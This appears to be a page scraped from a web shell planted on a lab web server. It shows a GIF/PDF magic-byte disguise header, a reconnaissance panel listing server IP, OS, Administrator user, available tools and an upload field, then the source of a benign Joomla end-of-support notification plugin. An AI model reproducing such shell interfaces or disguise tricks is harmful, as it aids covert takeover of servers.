GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/Joomla/plugins/quickicon/eosnotify/ |
Upload File : |
<?php /** * @package Joomla.Plugin * @subpackage Quickicon.Joomla * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Joomla! End of Support Notification Plugin * * @since 2.5.28 * @deprecated 3.0 */ class PlgQuickiconEosnotify extends JPlugin { /** * Constructor * * @param object &$subject The object to observe * @param array $config An optional associative array of configuration settings. * Recognized key values include 'name', 'group', 'params', 'language' * (this list is not meant to be comprehensive). * * @since 2.5.28 */ public function __construct(&$subject, $config = array()) { parent::__construct($subject, $config); $this->loadLanguage(); } /** * This method is called when the Quick Icons module is constructing its set * of icons. You can return an array which defines a single icon and it will * be rendered right after the stock Quick Icons. * * @param $context The calling context * * @return array A list of icon definition associative arrays, consisting of the * keys link, image, text and access. * * @since 2.5.28 */ public function onGetIcons($context) { if (!JFactory::getApplication()->isAdmin() || version_compare(JVERSION, '3.0', '>=')) { return; } $text = JText::_('PLG_EOSNOTIFY_SUPPORT_ENDING'); if (JFactory::getDate() >= '2015-01-01') { $text = JText::_('PLG_EOSNOTIFY_SUPPORT_ENDED'); } if (JAdministratorHelper::findOption() == 'com_cpanel') { JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_EOSNOTIFY_CLICK_FOR_INFORMATION_WITH_LINK', $text), 'error'); } } }